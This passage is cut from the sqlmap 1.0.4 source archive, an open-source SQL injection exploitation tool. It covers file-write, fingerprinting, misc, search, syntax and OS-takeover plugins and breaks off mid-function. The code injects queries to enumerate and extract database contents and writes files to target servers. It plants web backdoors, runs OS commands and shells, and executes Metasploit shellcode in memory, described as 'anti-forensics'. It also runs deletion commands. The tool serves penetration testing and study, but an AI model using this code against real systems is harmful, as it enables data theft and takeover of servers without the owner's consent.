isStackingAvailable(): if isStackingAvailable(): debugMsg = "going to upload the file '%s' with " % fileType debugMsg += "stacked query SQL injection technique" logger.debug(debugMsg) written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) self.cleanup(onlyFileTbl=True) elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL): debugMsg = "going to upload the file '%s' with " % fileType debugMsg += "UNION query SQL injection technique" logger.debug(debugMsg) written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck) else: errMsg = "none of the SQL injection techniques detected can " errMsg += "be used to write files to the underlying file " errMsg += "system of the back-end %s server" % Backend.getDbms() logger.error(errMsg) return None return written sqlmap-1.0.4/plugins/generic/fingerprint.py000066400000000000000000000032761270044205500210160ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import readInput from lib.core.data import logger from lib.core.enums import OS from lib.core.exception import SqlmapUndefinedMethod class Fingerprint: """ This class defines generic fingerprint functionalities for plugins. """ def __init__(self, dbms): Backend.forceDbms(dbms) def getFingerprint(self): errMsg = "'getFingerprint' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def checkDbms(self): errMsg = "'checkDbms' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def checkDbmsOs(self, detailed=False): errMsg = "'checkDbmsOs' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def forceDbmsEnum(self): pass def userChooseDbmsOs(self): warnMsg = "for some reason sqlmap was unable to fingerprint " warnMsg += "the back-end DBMS operating system" logger.warn(warnMsg) msg = "do you want to provide the OS? [(W)indows/(l)inux]" while True: os = readInput(msg, default="W") if os[0].lower() == "w": Backend.setOs(OS.WINDOWS) break elif os[0].lower() == "l": Backend.setOs(OS.LINUX) break else: warnMsg = "invalid value" logger.warn(warnMsg) sqlmap-1.0.4/plugins/generic/misc.py000066400000000000000000000160331270044205500174150ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import ntpath import re from lib.core.common import Backend from lib.core.common import hashDBWrite from lib.core.common import isStackingAvailable from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import posixToNtSlashes from lib.core.common import readInput from lib.core.common import singleTimeDebugMessage from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject class Miscellaneous: """ This class defines miscellaneous functionalities for plugins. """ def __init__(self): pass def getRemoteTempPath(self): if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL): debugMsg = "identifying Microsoft SQL Server error log directory " debugMsg += "that sqlmap will use to store temporary files with " debugMsg += "commands' output" logger.debug(debugMsg) _ = unArrayizeValue(inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')", safeCharEncode=False)) if _: conf.tmpPath = ntpath.dirname(_) if not conf.tmpPath: if Backend.isOs(OS.WINDOWS): if conf.direct: conf.tmpPath = "%TEMP%" else: self.checkDbmsOs(detailed=True) if Backend.getOsVersion() in ("2000", "NT"): conf.tmpPath = "C:/WINNT/Temp" elif Backend.isOs("XP"): conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp" else: conf.tmpPath = "C:/Windows/Temp" else: conf.tmpPath = "/tmp" if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I): Backend.setOs(OS.WINDOWS) conf.tmpPath = normalizePath(conf.tmpPath) conf.tmpPath = ntToPosixSlashes(conf.tmpPath) singleTimeDebugMessage("going to use '%s' as temporary files directory" % conf.tmpPath) hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath) return conf.tmpPath def getVersionFromBanner(self): if "dbmsVersion" in kb.bannerFp: return infoMsg = "detecting back-end DBMS version from its banner" logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL): first, last = 1, 6 elif Backend.isDbms(DBMS.PGSQL): first, last = 12, 6 elif Backend.isDbms(DBMS.MSSQL): first, last = 29, 9 else: raise SqlmapUnsupportedFeatureException("unsupported DBMS") query = queries[Backend.getIdentifiedDbms()].substring.query % (queries[Backend.getIdentifiedDbms()].banner.query, first, last) if conf.direct: query = "SELECT %s" % query kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query)) kb.bannerFp["dbmsVersion"] = (kb.bannerFp["dbmsVersion"] or "").replace(",", "").replace("-", "").replace(" ", "") def delRemoteFile(self, filename): if not filename: return self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): filename = posixToNtSlashes(filename) cmd = "del /F /Q %s" % filename else: cmd = "rm -f %s" % filename self.execCmd(cmd, silent=True) def createSupportTbl(self, tblName, tblField, tblType): inject.goStacked("DROP TABLE %s" % tblName, silent=True) if Backend.isDbms(DBMS.MSSQL) and tblName == self.cmdTblName: inject.goStacked("CREATE TABLE %s(id INT PRIMARY KEY IDENTITY, %s %s)" % (tblName, tblField, tblType)) else: inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType)) def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): """ Cleanup file system and database from sqlmap create files, tables and functions """ if web and self.webBackdoorFilePath: logger.info("cleaning up the web files uploaded") self.delRemoteFile(self.webStagerFilePath) self.delRemoteFile(self.webBackdoorFilePath) if not isStackingAvailable() and not conf.direct: return if Backend.isOs(OS.WINDOWS): libtype = "dynamic-link library" elif Backend.isOs(OS.LINUX): libtype = "shared object" else: libtype = "shared library" if onlyFileTbl: logger.debug("cleaning up the database management system") else: logger.info("cleaning up the database management system") logger.debug("removing support tables") inject.goStacked("DROP TABLE %s" % self.fileTblName, silent=True) inject.goStacked("DROP TABLE %shex" % self.fileTblName, silent=True) if not onlyFileTbl: inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True) if Backend.isDbms(DBMS.MSSQL): udfDict = {"master..new_xp_cmdshell": None} if udfDict is None: udfDict = self.sysUdfs for udf, inpRet in udfDict.items(): message = "do you want to remove UDF '%s'? [Y/n] " % udf output = readInput(message, default="Y") if not output or output in ("y", "Y"): dropStr = "DROP FUNCTION %s" % udf if Backend.isDbms(DBMS.PGSQL): inp = ", ".join(i for i in inpRet["input"]) dropStr += "(%s)" % inp logger.debug("removing UDF '%s'" % udf) inject.goStacked(dropStr, silent=True) logger.info("database management system cleanup finished") warnMsg = "remember that UDF %s files " % libtype if conf.osPwn: warnMsg += "and Metasploit related files in the temporary " warnMsg += "folder " warnMsg += "saved on the file system can only be deleted " warnMsg += "manually" logger.warn(warnMsg) def likeOrExact(self, what): message = "do you want sqlmap to consider provided %s(s):\n" % what message += "[1] as LIKE %s names (default)\n" % what message += "[2] as exact %s names" % what choice = readInput(message, default='1') if not choice or choice == '1': choice = '1' condParam = " LIKE '%%%s%%'" elif choice == '2': condParam = "='%s'" else: errMsg = "invalid value" raise SqlmapNoneDataException(errMsg) return choice, condParam sqlmap-1.0.4/plugins/generic/search.py000066400000000000000000000632771270044205500177430ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import filterPairValues from lib.core.common import getLimitRange from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeStringFormat from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.core.settings import METADB_SUFFIX from lib.request import inject from lib.techniques.brute.use import columnExists from lib.techniques.brute.use import tableExists class Search: """ This class defines search functionalities for plugins. """ def __init__(self): pass def searchDb(self): foundDbs = [] rootQuery = queries[Backend.getIdentifiedDbms()].search_db dbList = conf.db.split(",") if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: dbCond = rootQuery.inband.condition2 else: dbCond = rootQuery.inband.condition dbConsider, dbCondParam = self.likeOrExact("database") for db in dbList: values = [] db = safeSQLIdentificatorNaming(db) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): db = db.upper() infoMsg = "searching database" if dbConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if conf.excludeSysDbs: exclDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) logger.info(infoMsg) else: exclDbsQuery = "" dbQuery = "%s%s" % (dbCond, dbCondParam) dbQuery = dbQuery % unsafeSQLIdentificatorNaming(db) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: query = rootQuery.inband.query query = query % (dbQuery + exclDbsQuery) values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): values = arrayizeValue(values) for value in values: value = safeSQLIdentificatorNaming(value) foundDbs.append(value) if not values and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of database" if dbConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 else: query = rootQuery.blind.count query = query % (dbQuery + exclDbsQuery) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no database" if dbConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' found" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 else: query = rootQuery.blind.query query = query % (dbQuery + exclDbsQuery) query = agent.limitQuery(index, query, dbCond) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) value = safeSQLIdentificatorNaming(value) foundDbs.append(value) conf.dumper.lister("found databases", foundDbs) def searchTable(self): bruteForce = False if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True if bruteForce: message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: regex = "|".join(conf.tbl.split(",")) return tableExists(paths.COMMON_TABLES, regex) foundTbls = {} tblList = conf.tbl.split(",") rootQuery = queries[Backend.getIdentifiedDbms()].search_table tblCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 tblConsider, tblCondParam = self.likeOrExact("table") for tbl in tblList: values = [] tbl = safeSQLIdentificatorNaming(tbl, True) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD): tbl = tbl.upper() infoMsg = "searching table" if tblConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) if dbCond and conf.db and conf.db != CURRENT_DB: _ = conf.db.split(",") whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) elif conf.excludeSysDbs: whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) logger.info(infoMsg2) else: whereDbsQuery = "" logger.info(infoMsg) tblQuery = "%s%s" % (tblCond, tblCondParam) tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query query = query % (tblQuery + whereDbsQuery) values = inject.getValue(query, blind=False, time=False) if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): newValues = [] if isinstance(values, basestring): values = [values] for value in values: dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" newValues.append(["%s%s" % (dbName, METADB_SUFFIX), value]) values = newValues for foundDb, foundTbl in filterPairValues(values): foundDb = safeSQLIdentificatorNaming(foundDb) foundTbl = safeSQLIdentificatorNaming(foundTbl, True) if foundDb is None or foundTbl is None: continue if foundDb in foundTbls: foundTbls[foundDb].append(foundTbl) else: foundTbls[foundDb] = [foundTbl] if not values and isInferenceAvailable() and not conf.direct: if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): if len(whereDbsQuery) == 0: infoMsg = "fetching number of databases with table" if tblConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.info(infoMsg) query = rootQuery.blind.count query = query % (tblQuery + whereDbsQuery) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no databases have table" if tblConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query % (tblQuery + whereDbsQuery) query = agent.limitQuery(index, query) foundDb = unArrayizeValue(inject.getValue(query, union=False, error=False)) foundDb = safeSQLIdentificatorNaming(foundDb) if foundDb not in foundTbls: foundTbls[foundDb] = [] if tblConsider == "2": foundTbls[foundDb].append(tbl) if tblConsider == "2": continue else: for db in conf.db.split(",") if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundTbls: foundTbls[db] = [] else: dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = [] for db in foundTbls.keys(): db = safeSQLIdentificatorNaming(db) infoMsg = "fetching number of table" if tblConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count2 if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): query = query % unsafeSQLIdentificatorNaming(db) query += " AND %s" % tblQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no table" if tblConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query2 if query.endswith("'%s')"): query = query[:-1] + " AND %s)" % tblQuery else: query += " AND %s" % tblQuery if Backend.isDbms(DBMS.FIREBIRD): query = safeStringFormat(query, index) if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db)) if not Backend.isDbms(DBMS.FIREBIRD): query = agent.limitQuery(index, query) foundTbl = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(foundTbl): kb.hintValue = foundTbl foundTbl = safeSQLIdentificatorNaming(foundTbl, True) foundTbls[db].append(foundTbl) for db in foundTbls.keys(): if isNoneValue(foundTbls[db]): del foundTbls[db] if not foundTbls: warnMsg = "no databases contain any of the provided tables" logger.warn(warnMsg) return conf.dumper.dbTables(foundTbls) self.dumpFoundTables(foundTbls) def searchColumn(self): bruteForce = False if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True if bruteForce: message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: regex = '|'.join(conf.col.split(',')) conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex)) message = "do you want to dump entries? [Y/n] " output = readInput(message, default="Y") if output and output[0] not in ("n", "N"): self.dumpAll() return rootQuery = queries[Backend.getIdentifiedDbms()].search_column foundCols = {} dbs = {} whereDbsQuery = "" whereTblsQuery = "" infoMsgTbl = "" infoMsgDb = "" colList = conf.col.split(",") if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] origTbl = conf.tbl origDb = conf.db colCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 tblCond = rootQuery.inband.condition3 colConsider, colCondParam = self.likeOrExact("column") for column in colList: values = [] column = safeSQLIdentificatorNaming(column) conf.db = origDb conf.tbl = origTbl if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): column = column.upper() infoMsg = "searching column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) foundCols[column] = {} if conf.tbl: _ = conf.tbl.split(",") whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _)) if conf.db and conf.db != CURRENT_DB: _ = conf.db.split(",") whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _)) elif conf.excludeSysDbs: whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(infoMsg2) else: infoMsgDb = " across all databases" logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if not all((conf.db, conf.tbl)): # Enumerate tables containing the column provided if # either of database(s) or table(s) is not provided query = rootQuery.inband.query query = query % (colQuery + whereDbsQuery + whereTblsQuery) values = inject.getValue(query, blind=False, time=False) else: # Assume provided databases' tables contain the # column(s) provided values = [] for db in conf.db.split(","): for tbl in conf.tbl.split(","): values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)]) for db, tbl in filterPairValues(values): db = safeSQLIdentificatorNaming(db) tbls = tbl.split(",") if not isNoneValue(tbl) else [] for tbl in tbls: tbl = safeSQLIdentificatorNaming(tbl, True) if db is None or tbl is None: continue conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: if db not in dbs: dbs[db] = {} if tbl not in dbs[db]: dbs[db][tbl] = {} dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) if db in foundCols[column]: foundCols[column][db].append(tbl) else: foundCols[column][db] = [tbl] kb.data.cachedColumns = {} if not values and isInferenceAvailable() and not conf.direct: if not conf.db: infoMsg = "fetching number of databases with tables containing column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) query = rootQuery.blind.count query = query % (colQuery + whereDbsQuery + whereTblsQuery) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no databases have tables containing column" if colConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) logger.warn("%s%s" % (warnMsg, infoMsgTbl)) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query % (colQuery + whereDbsQuery + whereTblsQuery) query = agent.limitQuery(index, query) db = unArrayizeValue(inject.getValue(query, union=False, error=False)) db = safeSQLIdentificatorNaming(db) if db not in dbs: dbs[db] = {} if db not in foundCols[column]: foundCols[column][db] = [] else: for db in conf.db.split(",") if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundCols[column]: foundCols[column][db] = [] origDb = conf.db origTbl = conf.tbl for column, dbData in foundCols.items(): colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) for db in dbData: conf.db = origDb conf.tbl = origTbl infoMsg = "fetching number of tables containing column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(column), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count2 query = query % unsafeSQLIdentificatorNaming(db) query += " AND %s" % colQuery query += whereTblsQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no tables contain column" if colConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(column) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query2 if query.endswith("'%s')"): query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery) else: query += " AND %s" % (colQuery + whereTblsQuery) query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db)) query = agent.limitQuery(index, query) tbl = unArrayizeValue(inject.getValue(query, union=False, error=False)) kb.hintValue = tbl tbl = safeSQLIdentificatorNaming(tbl, True) conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: if db not in dbs: dbs[db] = {} if tbl not in dbs[db]: dbs[db][tbl] = {} dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) kb.data.cachedColumns = {} if db in foundCols[column]: foundCols[column][db].append(tbl) else: foundCols[column][db] = [tbl] if dbs: conf.dumper.dbColumns(foundCols, colConsider, dbs) self.dumpFoundColumn(dbs, foundCols, colConsider) else: warnMsg = "no databases have tables containing any of the " warnMsg += "provided columns" logger.warn(warnMsg) def search(self): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): for item in ('db', 'tbl', 'col'): if getattr(conf, item, None): setattr(conf, item, getattr(conf, item).upper()) if conf.col: self.searchColumn() elif conf.tbl: self.searchTable() elif conf.db: self.searchDb() else: errMsg = "missing parameter, provide -D, -T or -C along " errMsg += "with --search" raise SqlmapMissingMandatoryOptionException(errMsg) sqlmap-1.0.4/plugins/generic/syntax.py000066400000000000000000000016451270044205500200130ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.exception import SqlmapUndefinedMethod class Syntax: """ This class defines generic syntax functionalities for plugins. """ def __init__(self): pass @staticmethod def _escape(expression, quote=True, escaper=None): retVal = expression if quote: for item in re.findall(r"'[^']*'+", expression, re.S): _ = item[1:-1] if _: retVal = retVal.replace(item, escaper(_)) else: retVal = escaper(expression) return retVal @staticmethod def escape(expression, quote=True): errMsg = "'escape' method must be defined " errMsg += "inside the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) sqlmap-1.0.4/plugins/generic/takeover.py000066400000000000000000000427401270044205500203060ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os from lib.core.common import Backend from lib.core.common import isStackingAvailable from lib.core.common import readInput from lib.core.common import runningAsAdmin from lib.core.data import conf from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapMissingPrivileges from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapUndefinedMethod from lib.core.exception import SqlmapUnsupportedDBMSException from lib.takeover.abstraction import Abstraction from lib.takeover.icmpsh import ICMPsh from lib.takeover.metasploit import Metasploit from lib.takeover.registry import Registry from plugins.generic.misc import Miscellaneous class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): """ This class defines generic OS takeover functionalities for plugins. """ def __init__(self): self.cmdTblName = "sqlmapoutput" self.tblField = "data" Abstraction.__init__(self) def osCmd(self): if isStackingAvailable() or conf.direct: web = False elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command execution" logger.info(infoMsg) web = True else: errMsg = "unable to execute operating system commands via " errMsg += "the back-end DBMS" raise SqlmapNotVulnerableException(errMsg) self.getRemoteTempPath() self.initEnv(web=web) if not web or (web and self.webBackdoorUrl is not None): self.runCmd(conf.osCmd) if not conf.osShell and not conf.osPwn and not conf.cleanup: self.cleanup(web=web) def osShell(self): if isStackingAvailable() or conf.direct: web = False elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command prompt" logger.info(infoMsg) web = True else: errMsg = "unable to prompt for an interactive operating " errMsg += "system shell via the back-end DBMS because " errMsg += "stacked queries SQL injection is not supported" raise SqlmapNotVulnerableException(errMsg) self.getRemoteTempPath() self.initEnv(web=web) if not web or (web and self.webBackdoorUrl is not None): self.shell() if not conf.osPwn and not conf.cleanup: self.cleanup(web=web) def osPwn(self): goUdf = False fallbackToWeb = False setupSuccess = False self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): msg = "how do you want to establish the tunnel?" msg += "\n[1] TCP: Metasploit Framework (default)" msg += "\n[2] ICMP: icmpsh - ICMP tunneling" valids = (1, 2) while True: tunnel = readInput(msg, default=1) if isinstance(tunnel, basestring) and tunnel.isdigit() and int(tunnel) in valids: tunnel = int(tunnel) break elif isinstance(tunnel, int) and tunnel in valids: break else: warnMsg = "invalid value, valid values are 1 and 2" logger.warn(warnMsg) else: tunnel = 1 debugMsg = "the tunnel can be established only via TCP when " debugMsg += "the back-end DBMS is not Windows" logger.debug(debugMsg) if tunnel == 2: isAdmin = runningAsAdmin() if not isAdmin: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to establish an out-of-band ICMP " errMsg += "tunnel because icmpsh uses raw sockets to " errMsg += "sniff and craft ICMP packets" raise SqlmapMissingPrivileges(errMsg) try: from impacket import ImpactDecoder from impacket import ImpactPacket except ImportError: errMsg = "sqlmap requires 'python-impacket' third-party library " errMsg += "in order to run icmpsh master. You can get it at " errMsg += "http://code.google.com/p/impacket/downloads/list" raise SqlmapMissingDependence(errMsg) sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all" if os.path.exists(sysIgnoreIcmp): fp = open(sysIgnoreIcmp, "wb") fp.write("1") fp.close() else: errMsg = "you need to disable ICMP replies by your machine " errMsg += "system-wide. For example run on Linux/Unix:\n" errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n" errMsg += "If you miss doing that, you will receive " errMsg += "information from the database server and it " errMsg += "is unlikely to receive commands sent from you" logger.error(errMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.sysUdfs.pop("sys_bineval") self.getRemoteTempPath() if isStackingAvailable() or conf.direct: web = False self.initEnv(web=web) if tunnel == 1: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): msg = "how do you want to execute the Metasploit shellcode " msg += "on the back-end database underlying operating system?" msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)" while True: choice = readInput(msg, default=1) if isinstance(choice, basestring) and choice.isdigit() and int(choice) in (1, 2): choice = int(choice) break elif isinstance(choice, int) and choice in (1, 2): 